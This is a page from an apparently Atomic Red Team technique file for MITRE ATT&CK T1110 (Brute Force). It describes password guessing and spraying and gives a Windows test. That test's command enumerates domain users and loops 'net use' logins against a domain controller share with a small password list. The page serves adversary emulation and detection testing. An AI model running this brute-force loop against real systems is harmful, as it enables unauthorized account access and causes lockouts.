Skip to content

Latest commit

 

History

History
40 lines (28 loc) · 2.72 KB

T1110.md

File metadata and controls

40 lines (28 loc) · 2.72 KB

T1110 - Brute Force

Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.

Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)

Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)

A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

Atomic Tests


Atomic Test #1 - Brute Force Credentials

Creates username and password files then attempts to brute force on remote host

Supported Platforms: Windows

Inputs

Name Description Type Default Value
input_file_users Path to a file containing a list of users that we will attempt to brute force Path DomainUsers.txt
input_file_passwords Path to a file containing a list of passwords we will attempt to brute force with Path passwords.txt
remote_host Hostname of the target system we will brute force upon String \COMPANYDC1\IPC$
domain Domain name of the target system we will brute force upon String YOUR_COMPANY

Run it with command_prompt!

net user /domain > #{input_file_users}
echo "Password1" >> #{input_file_passwords}
echo "1q2w3e4r" >> #{input_file_passwords}
echo "Password!" >> #{input_file_passwords}
@FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL